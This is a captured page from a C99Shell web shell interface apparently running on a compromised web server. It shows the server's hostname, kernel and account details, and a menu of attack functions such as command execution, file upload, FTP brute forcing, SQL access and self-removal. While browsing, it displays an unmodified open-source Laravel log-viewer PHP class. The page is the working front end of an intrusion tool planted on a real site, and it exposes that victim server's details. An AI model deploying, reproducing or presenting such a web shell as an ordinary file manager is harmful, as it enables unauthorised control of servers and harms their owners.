!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/arcanedev/log-viewer/src/Utilities/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LogLevels.php (4.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Arcanedev\LogViewer\Utilities;

use 
Arcanedev\LogViewer\Contracts\Utilities\LogLevels as LogLevelsContract;
use 
Illuminate\Support\Arr;
use 
Illuminate\Translation\Translator;
use 
Psr\Log\LogLevel;
use 
ReflectionClass;

/**
 * Class     LogLevels
 *
 * @author   ARCANEDEV <arcanedev.maroc@gmail.com>
 */
class LogLevels implements LogLevelsContract
{
    
/* -----------------------------------------------------------------
     |  Properties
     | -----------------------------------------------------------------
     */

    /**
     * The log levels.
     *
     * @var array
     */
    
protected static $levels = [];

    
/**
     * The Translator instance.
     *
     * @var \Illuminate\Translation\Translator
     */
    
private $translator;

    
/**
     * The selected locale.
     *
     * @var string
     */
    
private $locale;

    
/* -----------------------------------------------------------------
     |  Constructor
     | -----------------------------------------------------------------
     */

    /**
     * LogLevels constructor.
     *
     * @param  \Illuminate\Translation\Translator  $translator
     * @param  string                              $locale
     */
    
public function __construct(Translator $translator$locale)
    {
        
$this->setTranslator($translator);
        
$this->setLocale($locale);
    }

    
/* -----------------------------------------------------------------
     |  Getters & Setters
     | -----------------------------------------------------------------
     */

    /**
     * Set the Translator instance.
     *
     * @param  \Illuminate\Translation\Translator  $translator
     *
     * @return $this
     */
    
public function setTranslator(Translator $translator)
    {
        
$this->translator $translator;

        return 
$this;
    }

    
/**
     * Get the selected locale.
     *
     * @return string
     */
    
public function getLocale()
    {
        return 
$this->locale === 'auto'
            
$this->translator->getLocale()
            : 
$this->locale;
    }

    
/**
     * Set the selected locale.
     *
     * @param  string  $locale
     *
     * @return $this
     */
    
public function setLocale($locale)
    {
        
$this->locale is_null($locale) ? 'auto' $locale;

        return 
$this;
    }

    
/* -----------------------------------------------------------------
     |  Main Methods
     | -----------------------------------------------------------------
     */

    /**
     * Get the log levels.
     *
     * @param  bool  $flip
     *
     * @return array
     */
    
public function lists($flip false)
    {
        return static::
all($flip);
    }

    
/**
     * Get translated levels.
     *
     * @param  string|null  $locale
     *
     * @return array
     */
    
public function names($locale null)
    {
        
$levels = static::all(true);

        
array_walk($levels, function (&$name$level) use ($locale) {
            
$name $this->get($level$locale);
        });

        return 
$levels;
    }

    
/**
     * Get PSR log levels.
     *
     * @param  bool  $flip
     *
     * @return array
     */
    
public static function all($flip false)
    {
        if (empty(static::
$levels)) {
            static::
$levels = (new ReflectionClass(LogLevel::class))->getConstants();
        }

        return 
$flip array_flip(static::$levels) : static::$levels;
    }

    
/**
     * Get the translated level.
     *
     * @param  string       $key
     * @param  string|null  $locale
     *
     * @return string
     */
    
public function get($key$locale null)
    {
        
$translations = [
            
'all'               => 'All',
            
LogLevel::EMERGENCY => 'Emergency',
            
LogLevel::ALERT     => 'Alert',
            
LogLevel::CRITICAL  => 'Critical',
            
LogLevel::ERROR     => 'Error',
            
LogLevel::WARNING   => 'Warning',
            
LogLevel::NOTICE    => 'Notice',
            
LogLevel::INFO      => 'Info',
            
LogLevel::DEBUG     => 'Debug',
        ];

        return 
$this->translator->get(Arr::get($translations$key$key), [], $locale ?: $this->getLocale());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--